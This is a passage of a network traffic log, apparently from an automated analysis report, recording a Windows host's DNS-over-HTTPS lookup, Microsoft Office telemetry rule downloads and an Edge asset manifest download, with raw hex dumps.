Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49822	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 11:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 11:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3f6afc885d4785-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 11:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a8 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-1866b5c5fbbdcxfghC1DFW126c00000000z0000000006xsk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb571e6e-701e-005c-5d91-37bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-164f84587bfdt5l2hC1DFW88gs00000002e000000000dpx5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 583adeae-001e-005a-5789-38c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-164f84587bf5rpzqhC1DFWmra800000004a0000000002qfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-164f84587bffvwt9hC1DFW2ktw00000001zg00000000554q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bd5538f5-501e-008f-71ad-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-164f84587bf7k72dhC1DFWvczs000000048g000000004h0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49825	13.107.246.45	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:33 UTC	564	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 796da8a8-f01e-001f-66e4-38b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113532Z-164f84587bfrrmqdhC1DFWvu6s00000002vg000000005sqp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-17 11:35:33 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-17 11:35:33 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-17 11:35:33 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
